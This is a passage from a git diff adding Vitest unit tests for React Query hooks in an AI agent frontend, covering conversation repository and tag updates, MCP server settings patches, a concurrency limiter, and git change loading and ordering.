+    const { Wrapper, client } = createWrapper();
+    client.setQueryData(cacheKey1, baseConversation);
+    client.setQueryData(cacheKey2, baseConversation);
+
+    const { result } = renderHook(() => useUpdateConversationRepository(), {
+      wrapper: Wrapper,
+    });
+
+    result.current.mutate({
+      conversationId,
+      repository: "owner/repo",
+      branch: "main",
+      gitProvider: "github",
+    });
+
+    await waitFor(() => {
+      expect(result.current.isError).toBe(true);
+    });
+
+    const cached1 = client.getQueryData<AppConversation>(cacheKey1);
+    const cached2 = client.getQueryData<AppConversation>(cacheKey2);
+    expect(cached1?.selected_repository).toBeNull();
+    expect(cached1?.selected_branch).toBeNull();
+    expect(cached1?.git_provider).toBeNull();
+    expect(cached2?.selected_repository).toBeNull();
+    expect(cached2?.selected_branch).toBeNull();
+    expect(cached2?.git_provider).toBeNull();
+  });
+
+  it("invalidates user-conversation, user-conversations, and local-git-info on settle", async () => {
+    const conversationId = "test-conversation-id";
+
+    vi.mocked(
+      AgentServerConversationService.updateConversationRepository,
+    ).mockResolvedValue({
+      id: conversationId,
+      selected_repository: "owner/repo",
+      selected_branch: "main",
+      git_provider: "github",
+    } as unknown as AppConversation);
+
+    const { Wrapper, client } = createWrapper();
+    const invalidateSpy = vi.spyOn(client, "invalidateQueries");
+
+    const { result } = renderHook(() => useUpdateConversationRepository(), {
+      wrapper: Wrapper,
+    });
+
+    await result.current.mutateAsync({
+      conversationId,
+      repository: "owner/repo",
+      branch: "main",
+      gitProvider: "github",
+    });
+
+    await waitFor(() => {
+      expect(invalidateSpy).toHaveBeenCalledWith({
+        queryKey: ["user", "conversation", conversationId],
+      });
+      expect(invalidateSpy).toHaveBeenCalledWith({
+        queryKey: ["user", "conversations"],
+      });
+      expect(invalidateSpy).toHaveBeenCalledWith({
+        queryKey: ["local-git-info", conversationId],
+      });
+    });
+  });
+
+  it("still invalidates all three query keys on settle when the mutation rejects", async () => {
+    const conversationId = "test-conversation-id";
+
+    vi.mocked(
+      AgentServerConversationService.updateConversationRepository,
+    ).mockRejectedValue(new Error("boom"));
+
+    const { Wrapper, client } = createWrapper();
+    const invalidateSpy = vi.spyOn(client, "invalidateQueries");
+
+    const { result } = renderHook(() => useUpdateConversationRepository(), {
+      wrapper: Wrapper,
+    });
+
+    await expect(
+      result.current.mutateAsync({
+        conversationId,
+        repository: "owner/repo",
+        branch: "main",
+        gitProvider: "github",
+      }),
+    ).rejects.toThrow("boom");
+
+    await waitFor(() => {
+      expect(invalidateSpy).toHaveBeenCalledWith({
+        queryKey: ["user", "conversation", conversationId],
+      });
+      expect(invalidateSpy).toHaveBeenCalledWith({
+        queryKey: ["user", "conversations"],
+      });
+      expect(invalidateSpy).toHaveBeenCalledWith({
+        queryKey: ["local-git-info", conversationId],
+      });
+    });
+  });
+
+  it("rolls back the prefix-keyed cache entry when the mutation rejects", async () => {
+    const conversationId = "test-conversation-id";
+    const cacheKey = [
+      "user",
+      "conversation",
+      conversationId,
+      "default-local",
+      null,
+    ] as const;
+    const baseConversation = {
+      id: conversationId,
+      selected_repository: null,
+      selected_branch: null,
+      git_provider: null,
+    } as unknown as AppConversation;
+
+    vi.mocked(
+      AgentServerConversationService.updateConversationRepository,
+    ).mockRejectedValue(new Error("nope"));
+
+    const { Wrapper, client } = createWrapper();
+    client.setQueryData(cacheKey, baseConversation);
+
+    const { result } = renderHook(() => useUpdateConversationRepository(), {
+      wrapper: Wrapper,
+    });
+
+    result.current.mutate({
+      conversationId,
+      repository: "owner/repo",
+      branch: "main",
+      gitProvider: "github",
+    });
+
+    await waitFor(() => {
+      expect(result.current.isError).toBe(true);
+    });
+
+    const cached = client.getQueryData<AppConversation>(cacheKey);
+    expect(cached?.selected_repository).toBeNull();
+    expect(cached?.selected_branch).toBeNull();
+    expect(cached?.git_provider).toBeNull();
+  });
+});
diff --git a/__tests__/hooks/mutation/use-update-conversation-tags.test.tsx b/__tests__/hooks/mutation/use-update-conversation-tags.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..9fe58506b89709d7671ec45bc8e0522f63987dc9
--- /dev/null
+++ b/__tests__/hooks/mutation/use-update-conversation-tags.test.tsx
@@ -0,0 +1,145 @@
+import { renderHook, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { useUpdateConversationTags } from "#/hooks/mutation/use-update-conversation-tags";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types";
+
+// Mock the AgentServerConversationService
+vi.mock(
+  "#/api/conversation-service/agent-server-conversation-service.api",
+  () => ({
+    default: {
+      updateConversationTags: vi.fn(),
+    },
+  }),
+);
+
+const createWrapper = (queryClient?: QueryClient) => {
+  const client =
+    queryClient ??
+    new QueryClient({
+      defaultOptions: {
+        queries: {
+          retry: false,
+        },
+        mutations: {
+          retry: false,
+        },
+      },
+    });
+
+  const Wrapper = ({ children }: { children: React.ReactNode }) => (
+    <QueryClientProvider client={client}>{children}</QueryClientProvider>
+  );
+
+  return { Wrapper, client };
+};
+
+describe("useUpdateConversationTags", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+  });
+
+  it("calls updateConversationTags with the conversation id and merged tags", async () => {
+    vi.mocked(
+      AgentServerConversationService.updateConversationTags,
+    ).mockResolvedValue({
+      id: "test-conversation-id",
+      tags: { origin: "slack" },
+    } as unknown as AppConversation);
+
+    const { Wrapper } = createWrapper();
+    const { result } = renderHook(() => useUpdateConversationTags(), {
+      wrapper: Wrapper,
+    });
+
+    result.current.mutate({
+      conversationId: "test-conversation-id",
+      tags: { origin: "slack" },
+    });
+
+    await waitFor(() => {
+      expect(result.current.isSuccess).toBe(true);
+    });
+
+    expect(
+      AgentServerConversationService.updateConversationTags,
+    ).toHaveBeenCalledWith("test-conversation-id", { origin: "slack" });
+  });
+
+  it("optimistically updates the prefix-keyed conversation cache and rolls back on error", async () => {
+    const conversationId = "test-conversation-id";
+    // Mirror the key shape from `useUserConversation`:
+    //   ["user", "conversation", cid, backendId, orgId]
+    const cacheKey = [
+      "user",
+      "conversation",
+      conversationId,
+      "default-local",
+      null,
+    ] as const;
+    const baseConversation = {
+      id: conversationId,
+      tags: { origin: "slack", acpserver: "claude-code" },
+    } as unknown as AppConversation;
+
+    vi.mocked(
+      AgentServerConversationService.updateConversationTags,
+    ).mockRejectedValue(new Error("nope"));
+
+    const { Wrapper, client } = createWrapper();
+    client.setQueryData(cacheKey, baseConversation);
+
+    const { result } = renderHook(() => useUpdateConversationTags(), {
+      wrapper: Wrapper,
+    });
+
+    result.current.mutate({
+      conversationId,
+      tags: { origin: "irc", acpserver: "claude-code" },
+    });
+
+    await waitFor(() => {
+      expect(result.current.isError).toBe(true);
+    });
+
+    const cached = client.getQueryData<AppConversation>(cacheKey);
+    expect(cached?.tags).toEqual({
+      origin: "slack",
+      acpserver: "claude-code",
+    });
+  });
+
+  it("invalidates user-conversation and user-conversations on settle", async () => {
+    const conversationId = "test-conversation-id";
+
+    vi.mocked(
+      AgentServerConversationService.updateConversationTags,
+    ).mockResolvedValue({
+      id: conversationId,
+      tags: { origin: "slack" },
+    } as unknown as AppConversation);
+
+    const { Wrapper, client } = createWrapper();
+    const invalidateSpy = vi.spyOn(client, "invalidateQueries");
+
+    const { result } = renderHook(() => useUpdateConversationTags(), {
+      wrapper: Wrapper,
+    });
+
+    await result.current.mutateAsync({
+      conversationId,
+      tags: { origin: "slack" },
+    });
+
+    await waitFor(() => {
+      expect(invalidateSpy).toHaveBeenCalledWith({
+        queryKey: ["user", "conversation", conversationId],
+      });
+      expect(invalidateSpy).toHaveBeenCalledWith({
+        queryKey: ["user", "conversations"],
+      });
+    });
+  });
+});
diff --git a/__tests__/hooks/mutation/use-update-mcp-server.test.ts b/__tests__/hooks/mutation/use-update-mcp-server.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..e86ae1c166d6e8632e4fe1ee3056c25cdaae31f3
--- /dev/null
+++ b/__tests__/hooks/mutation/use-update-mcp-server.test.ts
@@ -0,0 +1,275 @@
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { renderHook, waitFor } from "@testing-library/react";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import {
+  __resetMcpHealthStoreForTests,
+  getMcpHealthSnapshot,
+  setMcpServerHealth,
+} from "#/api/mcp-health/mcp-health-store";
+import { useUpdateMcpServer } from "#/hooks/mutation/use-update-mcp-server";
+import type { MCPServerConfig } from "#/types/mcp-server";
+import { REDACTED_MCP_SECRET_VALUE } from "#/utils/mcp-config";
+import { getMcpServerHealthKey } from "#/utils/mcp-server-health-key";
+
+const useSettingsMock = vi.fn();
+vi.mock("#/hooks/query/use-settings", () => ({
+  useSettings: () => useSettingsMock(),
+}));
+
+const createWrapper = () => {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
+  });
+  function Wrapper({ children }: { children: React.ReactNode }) {
+    return React.createElement(
+      QueryClientProvider,
+      { client: queryClient },
+      children,
+    );
+  }
+  return Wrapper;
+};
+
+describe("useUpdateMcpServer", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+    __resetMcpHealthStoreForTests();
+    useSettingsMock.mockReturnValue({
+      data: {
+        mcp_config: {
+          github: {
+            transport: "http",
+            url: "https://github.example/mcp",
+            auth: {
+              strategy: "bearer",
+              value: REDACTED_MCP_SECRET_VALUE,
+            },
+          },
+          docs: {
+            transport: "http",
+            url: "https://docs.example/mcp",
+          },
+        },
+      },
+    });
+  });
+
+  it("patches one server without reading encrypted settings or resending siblings", async () => {
+    const patchSpy = vi
+      .spyOn(SettingsService, "patchMcpServer")
+      .mockResolvedValue(true);
+    const fetchEncryptedSpy = vi.spyOn(SettingsService, "fetchSettingsFromApi");
+    const { result } = renderHook(() => useUpdateMcpServer(), {
+      wrapper: createWrapper(),
+    });
+
+    await result.current.mutateAsync({
+      serverId: "github",
+      server: {
+        id: "github",
+        type: "shttp",
+        name: "github",
+        url: "https://github.example/v2/mcp",
+        auth: {
+          strategy: "bearer",
+          value: REDACTED_MCP_SECRET_VALUE,
+        },
+      },
+    });
+
+    expect(patchSpy).toHaveBeenCalledOnce();
+    expect(patchSpy).toHaveBeenCalledWith("github", {
+      transport: "http",
+      url: "https://github.example/v2/mcp",
+    });
+    expect(JSON.stringify(patchSpy.mock.calls)).not.toContain(
+      REDACTED_MCP_SECRET_VALUE,
+    );
+    expect(fetchEncryptedSpy).not.toHaveBeenCalled();
+  });
+
+  it("sends explicit auth replacement and clearing", async () => {
+    const patchSpy = vi
+      .spyOn(SettingsService, "patchMcpServer")
+      .mockResolvedValue(true);
+    const { result } = renderHook(() => useUpdateMcpServer(), {
+      wrapper: createWrapper(),
+    });
+
+    await result.current.mutateAsync({
+      serverId: "github",
+      server: {
+        id: "github",
+        type: "shttp",
+        name: "github",
+        url: "https://github.example/mcp",
+        auth: { strategy: "bearer", value: "github_pat_new" },
+      },
+    });
+    await result.current.mutateAsync({
+      serverId: "github",
+      server: {
+        id: "github",
+        type: "shttp",
+        name: "github",
+        url: "https://github.example/mcp",
+      },
+    });
+
+    expect(patchSpy.mock.calls[0]?.[1]).toMatchObject({
+      auth: { strategy: "bearer", value: "github_pat_new" },
+    });
+    expect(patchSpy.mock.calls[1]?.[1]).toMatchObject({ auth: null });
+  });
+
+  it("renames with one atomic map patch", async () => {
+    const configSpy = vi
+      .spyOn(SettingsService, "patchMcpConfig")
+      .mockResolvedValue(true);
+    const serverSpy = vi.spyOn(SettingsService, "patchMcpServer");
+    const { result } = renderHook(() => useUpdateMcpServer(), {
+      wrapper: createWrapper(),
+    });
+
+    await result.current.mutateAsync({
+      serverId: "docs",
+      server: {
+        id: "docs",
+        type: "shttp",
+        name: "reference",
+        url: "https://docs.example/mcp",
+      },
+    });
+
+    expect(configSpy).toHaveBeenCalledOnce();
+    expect(configSpy).toHaveBeenCalledWith({
+      docs: null,
+      reference: {
+        transport: "http",
+        url: "https://docs.example/mcp",
+      },
+    });
+    expect(serverSpy).not.toHaveBeenCalled();
+  });
+
+  it("rejects a rename collision before issuing a request", async () => {
+    const configSpy = vi.spyOn(SettingsService, "patchMcpConfig");
+    const serverSpy = vi.spyOn(SettingsService, "patchMcpServer");
+    const { result } = renderHook(() => useUpdateMcpServer(), {
+      wrapper: createWrapper(),
+    });
+
+    await expect(
+      result.current.mutateAsync({
+        serverId: "docs",
+        server: {
+          id: "docs",
+          type: "shttp",
+          name: "github",
+          url: "https://docs.example/mcp",
+        },
+      }),
+    ).rejects.toThrow(/already exists/i);
+    expect(configSpy).not.toHaveBeenCalled();
+    expect(serverSpy).not.toHaveBeenCalled();
+  });
+
+  // @spec MCP-001 — Sparse mutations preserve sibling servers
+  it("allows concurrent sparse updates to different settings keys", async () => {
+    const pending = new Map<string, () => void>();
+    const patchSpy = vi
+      .spyOn(SettingsService, "patchMcpServer")
+      .mockImplementation(
+        (key) =>
+          new Promise<boolean>((resolve) => {
+            pending.set(key, () => resolve(true));
+          }),
+      );
+    const { result } = renderHook(() => useUpdateMcpServer(), {
+      wrapper: createWrapper(),
+    });
+
+    const github = result.current.mutateAsync({
+      serverId: "github",
+      server: {
+        id: "github",
+        type: "shttp",
+        name: "github",
+        url: "https://github.example/v2/mcp",
+      },
+    });
+    const docs = result.current.mutateAsync({
+      serverId: "docs",
+      server: {
+        id: "docs",
+        type: "shttp",
+        name: "docs",
+        url: "https://docs.example/v2/mcp",
+      },
+    });
+
+    await waitFor(() => expect(patchSpy).toHaveBeenCalledTimes(2));
+    pending.get("docs")?.();
+    pending.get("github")?.();
+    await Promise.all([github, docs]);
+  });
+
+  it("clears the server's stored health verdict after a successful save", async () => {
+    vi.spyOn(SettingsService, "patchMcpServer").mockResolvedValue(true);
+    const server: MCPServerConfig = {
+      id: "docs",
+      type: "shttp",
+      name: "docs",
+      url: "https://docs.example/mcp",
+    };
+    const key = getMcpServerHealthKey(server);
+    setMcpServerHealth(key, {
+      status: "healthy",
+      verification: "verified",
+      toolCount: 1,
+      checkedAt: 1,
+    });
+    const { result } = renderHook(() => useUpdateMcpServer(), {
+      wrapper: createWrapper(),
+    });
+
+    await result.current.mutateAsync({ serverId: server.id, server });
+
+    await waitFor(() => expect(getMcpHealthSnapshot()[key]).toBeUndefined());
+  });
+
+  it("clears both old and new health keys after a rename", async () => {
+    vi.spyOn(SettingsService, "patchMcpConfig").mockResolvedValue(true);
+    const oldServer: MCPServerConfig = {
+      id: "docs",
+      type: "shttp",
+      name: "docs",
+      url: "https://docs.example/mcp",
+    };
+    const newServer: MCPServerConfig = { ...oldServer, name: "reference" };
+    const oldKey = getMcpServerHealthKey(oldServer);
+    const newKey = getMcpServerHealthKey(newServer);
+    setMcpServerHealth(oldKey, {
+      status: "healthy",
+      verification: "verified",
+      toolCount: 1,
+      checkedAt: 1,
+    });
+    setMcpServerHealth(newKey, {
+      status: "failed",
+      kind: "connection",
+      error: "stale",
+      checkedAt: 1,
+    });
+    const { result } = renderHook(() => useUpdateMcpServer(), {
+      wrapper: createWrapper(),
+    });
+
+    await result.current.mutateAsync({ serverId: "docs", server: newServer });
+
+    expect(getMcpHealthSnapshot()[oldKey]).toBeUndefined();
+    expect(getMcpHealthSnapshot()[newKey]).toBeUndefined();
+  });
+});
diff --git a/__tests__/hooks/query/concurrency-limiter.test.ts b/__tests__/hooks/query/concurrency-limiter.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..70e3b0dea22f43358b83ae1f95888772995f0af0
--- /dev/null
+++ b/__tests__/hooks/query/concurrency-limiter.test.ts
@@ -0,0 +1,93 @@
+import { describe, expect, it } from "vitest";
+import { ConcurrencyLimiter } from "#/hooks/query/concurrency-limiter";
+
+/** A task whose completion the test controls. */
+function deferred<T>() {
+  let resolve!: (value: T) => void;
+  let reject!: (reason: unknown) => void;
+  const promise = new Promise<T>((res, rej) => {
+    resolve = res;
+    reject = rej;
+  });
+  return { promise, resolve, reject };
+}
+
+async function flushMicrotasks() {
+  await Promise.resolve();
+  await Promise.resolve();
+}
+
+describe("ConcurrencyLimiter", () => {
+  it("runs at most `limit` tasks at once and starts queued tasks in FIFO order as slots free", async () => {
+    // Arrange — five controllable tasks behind a limit of two.
+    const limiter = new ConcurrencyLimiter(2);
+    const started: number[] = [];
+    const gates = [0, 1, 2, 3, 4].map(() => deferred<void>());
+    const runs = gates.map((gate, index) =>
+      limiter.run(() => {
+        started.push(index);
+        return gate.promise;
+      }),
+    );
+
+    // Act & Assert — only the first two start; each completion admits the
+    // next waiter in arrival order.
+    await flushMicrotasks();
+    expect(started).toEqual([0, 1]);
+
+    gates[0].resolve();
+    await flushMicrotasks();
+    expect(started).toEqual([0, 1, 2]);
+
+    gates[1].resolve();
+    gates[2].resolve();
+    await flushMicrotasks();
+    expect(started).toEqual([0, 1, 2, 3, 4]);
+
+    gates[3].resolve();
+    gates[4].resolve();
+    await expect(Promise.all(runs)).resolves.toBeDefined();
+  });
+
+  it("releases a slot when a task rejects, so later tasks still run", async () => {
+    // Arrange — a single slot occupied by a failing task.
+    const limiter = new ConcurrencyLimiter(1);
+
+    // Act
+    const failing = limiter.run(() => Promise.reject(new Error("boom")));
+
+    // Assert — the failure propagates and the slot is free for the next task.
+    await expect(failing).rejects.toThrow("boom");
+    await expect(limiter.run(() => Promise.resolve("next"))).resolves.toBe(
+      "next",
+    );
+  });
+
+  it("rejects a task whose signal aborted while queued, without running it", async () => {
+    // Arrange — one slot held open so the second task queues, then gets
+    // aborted before a slot frees (a query unmounting while it waits).
+    const limiter = new ConcurrencyLimiter(1);
+    const gate = deferred<void>();
+    const first = limiter.run(() => gate.promise);
+    const controller = new AbortController();
+    let queuedTaskRan = false;
+    const queued = limiter.run(() => {
+      queuedTaskRan = true;
+      return Promise.resolve("ran");
+    }, controller.signal);
+    queued.catch(() => {}); // observed below; avoid an unhandled rejection
+
+    // Act
+    controller.abort();
+    gate.resolve();
+
+    // Assert — the aborted task rejects without executing, and its slot is
+    // handed on to later work.
+    await expect(queued).rejects.toThrow();
+    expect(queuedTaskRan).toBe(false);
+    await expect(limiter.run(() => Promise.resolve("after"))).resolves.toBe(
+      "after",
+    );
+    await first;
+  });
+});
diff --git a/__tests__/hooks/query/git-changes-ordering.test.tsx b/__tests__/hooks/query/git-changes-ordering.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..a7e7da0cda8337d1b4aade7659970ad6db8befbc
--- /dev/null
+++ b/__tests__/hooks/query/git-changes-ordering.test.tsx
@@ -0,0 +1,424 @@
+import React from "react";
+import { act, renderHook, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { describe, expect, it, vi } from "vitest";
+import AgentServerGitService from "#/api/git-service/agent-server-git-service.api";
+import type { GitChange } from "#/api/open-hands.types";
+import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types";
+import { useUnifiedGetGitChanges } from "#/hooks/query/use-unified-get-git-changes";
+
+const mocks = vi.hoisted(() => ({
+  conversationId: "conversation-1" as string | undefined,
+  conversation: undefined as AppConversation | undefined,
+  runtimeIsReady: true,
+}));
+
+vi.mock("#/hooks/use-conversation-id", () => ({
+  useConversationId: () => ({ conversationId: mocks.conversationId }),
+}));
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+  useActiveConversation: () => ({ data: mocks.conversation }),
+}));
+
+vi.mock("#/hooks/use-runtime-is-ready", () => ({
+  useRuntimeIsReady: () => mocks.runtimeIsReady,
+}));
+
+const getGitChanges = vi.spyOn(AgentServerGitService, "getGitChanges");
+
+const makeConversation = (
+  overrides: Partial<AppConversation> = {},
+): AppConversation => ({
+  id: "conversation-1",
+  created_by_user_id: "user-1",
+  selected_repository: "OpenHands/agent-canvas",
+  selected_branch: "main",
+  git_provider: "github",
+  title: "Mutation-tested changes",
+  trigger: "gui",
+  pr_number: [],
+  llm_model: null,
+  metrics: null,
+  created_at: "2026-07-13T00:00:00.000Z",
+  updated_at: "2026-07-13T00:00:00.000Z",
+  execution_status: null,
+  conversation_url: "https://runtime.example.test/conversations/conversation-1",
+  session_api_key: "session-key",
+  sandbox_id: "sandbox-1",
+  workspace: { working_dir: "/workspace/agent-canvas" },
+  sub_conversation_ids: [],
+  ...overrides,
+});
+
+const makeChange = (
+  path: string,
+  status: GitChange["status"] = "M",
+): GitChange => ({ path, status });
+
+function makeDeferred<T>() {
+  const resolver = { current: (_value: T) => {} };
+  const promise = new Promise<T>((resolve) => {
+    resolver.current = resolve;
+  });
+
+  return {
+    promise,
+    resolve: (value: T) => resolver.current(value),
+  };
+}
+
+function prepareHook(
+  overrides: {
+    conversationId?: string | undefined;
+    conversation?: AppConversation | undefined;
+    runtimeIsReady?: boolean;
+  } = {},
+) {
+  getGitChanges.mockReset();
+  mocks.conversationId = Object.hasOwn(overrides, "conversationId")
+    ? overrides.conversationId
+    : "conversation-1";
+  mocks.conversation = Object.hasOwn(overrides, "conversation")
+    ? overrides.conversation
+    : makeConversation();
+  mocks.runtimeIsReady = overrides.runtimeIsReady ?? true;
+
+  const queryClient = new QueryClient({
+    defaultOptions: {
+      queries: {
+        retry: false,
+        gcTime: Number.POSITIVE_INFINITY,
+      },
+    },
+  });
+
+  const wrapper = ({ children }: { children: React.ReactNode }) => (
+    <QueryClientProvider client={queryClient}>{children}</QueryClientProvider>
+  );
+
+  return { queryClient, wrapper };
+}
+
+describe("git change loading and ordering", () => {
+  it("loads the current workspace changes with runtime credentials", async () => {
+    const changes = [
+      makeChange("src/new-file.ts", "A"),
+      makeChange("src/existing.ts"),
+    ];
+    const { wrapper } = prepareHook();
+    getGitChanges.mockResolvedValue(changes);
+
+    const { result } = renderHook(() => useUnifiedGetGitChanges(), {
+      wrapper,
+    });
+
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+    expect(result.current).toMatchObject({
+      data: changes,
+      isLoading: false,
+      isFetching: false,
+      isSuccess: true,
+      isError: false,
+      error: null,
+    });
+    expect(result.current.refetch).toEqual(expect.any(Function));
+    expect(getGitChanges).toHaveBeenCalledOnce();
+    expect(getGitChanges).toHaveBeenCalledWith(
+      "conversation-1",
+      "https://runtime.example.test/conversations/conversation-1",
+      "session-key",
+      "/workspace/agent-canvas",
+    );
+  });
+
+  it("derives the git path from the selected repository when the workspace is blank", async () => {
+    const { wrapper } = prepareHook({
+      conversation: makeConversation({
+        selected_repository: "OpenHands/software-agent-sdk",
+        workspace: { working_dir: "  " },
+      }),
+    });
+    getGitChanges.mockResolvedValue([]);
+
+    const { result } = renderHook(() => useUnifiedGetGitChanges(), {
+      wrapper,
+    });
+
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+    expect(getGitChanges).toHaveBeenCalledWith(
+      "conversation-1",
+      expect.any(String),
+      "session-key",
+      "workspace/project/software-agent-sdk",
+    );
+    expect(result.current.data).toEqual([]);
+  });
+
+  it("uses the default git path while conversation metadata is still unavailable", async () => {
+    const { wrapper } = prepareHook({ conversation: undefined });
+    getGitChanges.mockResolvedValue([makeChange("README.md")]);
+
+    const { result } = renderHook(() => useUnifiedGetGitChanges(), {
+      wrapper,
+    });
+
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+    expect(getGitChanges).toHaveBeenCalledWith(
+      "conversation-1",
+      undefined,
+      undefined,
+      "workspace/project",
+    );
+  });
+
+  it("uses the selected repository when its workspace has no working directory", async () => {
+    const { wrapper } = prepareHook({
+      conversation: makeConversation({
+        selected_repository: "OpenHands/openhands",
+        workspace: { working_dir: null },
+      }),
+    });
+    getGitChanges.mockResolvedValue([]);
+
+    const { result } = renderHook(() => useUnifiedGetGitChanges(), {
+      wrapper,
+    });
+
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+    expect(getGitChanges).toHaveBeenCalledWith(
+      "conversation-1",
+      expect.any(String),
+      "session-key",
+      "workspace/project/openhands",
+    );
+  });
+
+  it("does not contact the backend until the runtime is ready", async () => {
+    const { wrapper } = prepareHook({ runtimeIsReady: false });
+
+    const { result } = renderHook(() => useUnifiedGetGitChanges(), {
+      wrapper,
+    });
+
+    await act(async () => {
+      await Promise.resolve();
+    });
+    expect(getGitChanges).not.toHaveBeenCalled();
+    expect(result.current).toMatchObject({
+      data: [],
+      isLoading: false,
+      isFetching: false,
+      isSuccess: false,
+      isError: false,
+    });
+  });
+
+  it("reports a clear error if a disabled query is manually run without a conversation id", async () => {
+    const { wrapper } = prepareHook({ conversationId: undefined });
+
+    const { result } = renderHook(() => useUnifiedGetGitChanges(), {
+      wrapper,
+    });
+
+    await act(async () => {
+      await result.current.refetch();
+    });
+    await waitFor(() => expect(result.current.isError).toBe(true));
+    expect(result.current.error).toEqual(new Error("No conversation ID"));
+    expect(getGitChanges).not.toHaveBeenCalled();
+  });
+
+  it("puts newly discovered files first and removes files absent from a refresh", async () => {
+    const originalChanges = [
+      makeChange("src/removed.ts", "D"),
+      makeChange("src/kept.ts"),
+    ];
+    const refreshedChanges = [
+      makeChange("src/kept.ts"),
+      makeChange("src/new.ts", "A"),
+    ];
+    const { wrapper } = prepareHook();
+    getGitChanges
+      .mockResolvedValueOnce(originalChanges)
+      .mockResolvedValueOnce(refreshedChanges);
+
+    const { result } = renderHook(() => useUnifiedGetGitChanges(), {
+      wrapper,
+    });
+    await waitFor(() => expect(result.current.data).toEqual(originalChanges));
+
+    await act(async () => {
+      await result.current.refetch();
+    });
+
+    await waitFor(() =>
+      expect(result.current.data).toEqual([
+        makeChange("src/new.ts", "A"),
+        makeChange("src/kept.ts"),
+      ]),
+    );
+    expect(getGitChanges).toHaveBeenCalledTimes(2);
+  });
+
+  it("ignores a refreshed payload when the backend returns the same array reference", async () => {
+    const sharedChanges = [makeChange("src/original.ts")];
+    const refresh = makeDeferred<GitChange[]>();
+    const { wrapper } = prepareHook();
+    getGitChanges
+      .mockResolvedValueOnce(sharedChanges)
+      .mockReturnValueOnce(refresh.promise);
+
+    const { result } = renderHook(() => useUnifiedGetGitChanges(), {
+      wrapper,
+    });
+    await waitFor(() => expect(result.current.data).toEqual(sharedChanges));
+
+    sharedChanges.push(makeChange("src/mutated-in-place.ts", "A"));
+    act(() => {
+      void result.current.refetch();
+    });
+    await waitFor(() => expect(result.current.isFetching).toBe(true));
+    await act(async () => {
+      refresh.resolve(sharedChanges);
+    });
+    await waitFor(() => expect(result.current.isFetching).toBe(false));
+
+    expect(getGitChanges).toHaveBeenCalledTimes(2);
+    expect(result.current.data).toEqual([makeChange("src/original.ts")]);
+  });
+
+  it("normalizes a single change returned by a legacy backend", async () => {
+    const singleChange = makeChange("legacy.txt", "U");
+    const { wrapper } = prepareHook();
+    getGitChanges.mockResolvedValue(
+      singleChange as unknown as Awaited<
+        ReturnType<typeof AgentServerGitService.getGitChanges>
+      >,
+    );
+
+    const { result } = renderHook(() => useUnifiedGetGitChanges(), {
+      wrapper,
+    });
+
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+    expect(result.current.data).toEqual([singleChange]);
+  });
+
+  it("surfaces backend failures without retrying", async () => {
+    const backendError = new Error("runtime unavailable");
+    const { queryClient, wrapper } = prepareHook();
+    getGitChanges.mockRejectedValue(backendError);
+
+    const { result } = renderHook(() => useUnifiedGetGitChanges(), {
+      wrapper,
+    });
+
+    await waitFor(() => expect(result.current.isError).toBe(true));
+    expect(result.current.error).toBe(backendError);
+    expect(result.current.data).toEqual([]);
+    expect(getGitChanges).toHaveBeenCalledOnce();
+
+    const query = queryClient.getQueryCache().find({
+      queryKey: [
+        "file_changes",
+        "conversation-1",
+        "https://runtime.example.test/conversations/conversation-1",
+        "session-key",
+        "/workspace/agent-canvas",
+      ],
+    });
+    expect(query?.options).toMatchObject({
+      retry: false,
+      staleTime: 300_000,
+      gcTime: 900_000,
+      refetchOnMount: "always",
+      meta: { disableToast: true },
+    });
+  });
+
+  it("keeps query caches isolated across every runtime identity field", async () => {
+    const { wrapper } = prepareHook();
+    getGitChanges.mockImplementation(async () => [
+      makeChange(`response-${getGitChanges.mock.calls.length}.txt`),
+    ]);
+
+    const { rerender } = renderHook(() => useUnifiedGetGitChanges(), {
+      wrapper,
+    });
+    await waitFor(() => expect(getGitChanges).toHaveBeenCalledTimes(1));
+
+    mocks.conversationId = "conversation-2";
+    rerender();
+    await waitFor(() => expect(getGitChanges).toHaveBeenCalledTimes(2));
+
+    mocks.conversation = makeConversation({
+      conversation_url: "https://runtime-2.example.test/conversations/2",
+    });
+    rerender();
+    await waitFor(() => expect(getGitChanges).toHaveBeenCalledTimes(3));
+
+    mocks.conversation = makeConversation({ session_api_key: "session-key-2" });
+    rerender();
+    await waitFor(() => expect(getGitChanges).toHaveBeenCalledTimes(4));
+
+    mocks.conversation = makeConversation({
+      workspace: { working_dir: "/workspace/other" },
+    });
+    rerender();
+    await waitFor(() => expect(getGitChanges).toHaveBeenCalledTimes(5));
+
+    mocks.conversation = makeConversation({
+      selected_repository: "OpenHands/another-repository",
+      workspace: null,
+    });
+    rerender();
+    await waitFor(() => expect(getGitChanges).toHaveBeenCalledTimes(6));
+  });
+
+  it("refetches on remount even while the cached changes are fresh", async () => {
+    const { queryClient, wrapper } = prepareHook();
+    const refresh = makeDeferred<GitChange[]>();
+    getGitChanges
+      .mockResolvedValueOnce([makeChange("cached.ts")])
+      .mockReturnValueOnce(refresh.promise);
+
+    const firstRender = renderHook(() => useUnifiedGetGitChanges(), {
+      wrapper,
+    });
+    await waitFor(() => expect(getGitChanges).toHaveBeenCalledOnce());
+    await waitFor(() =>
+      expect(firstRender.result.current.data).toEqual([
+        makeChange("cached.ts"),
+      ]),
+    );
+    firstRender.unmount();
+
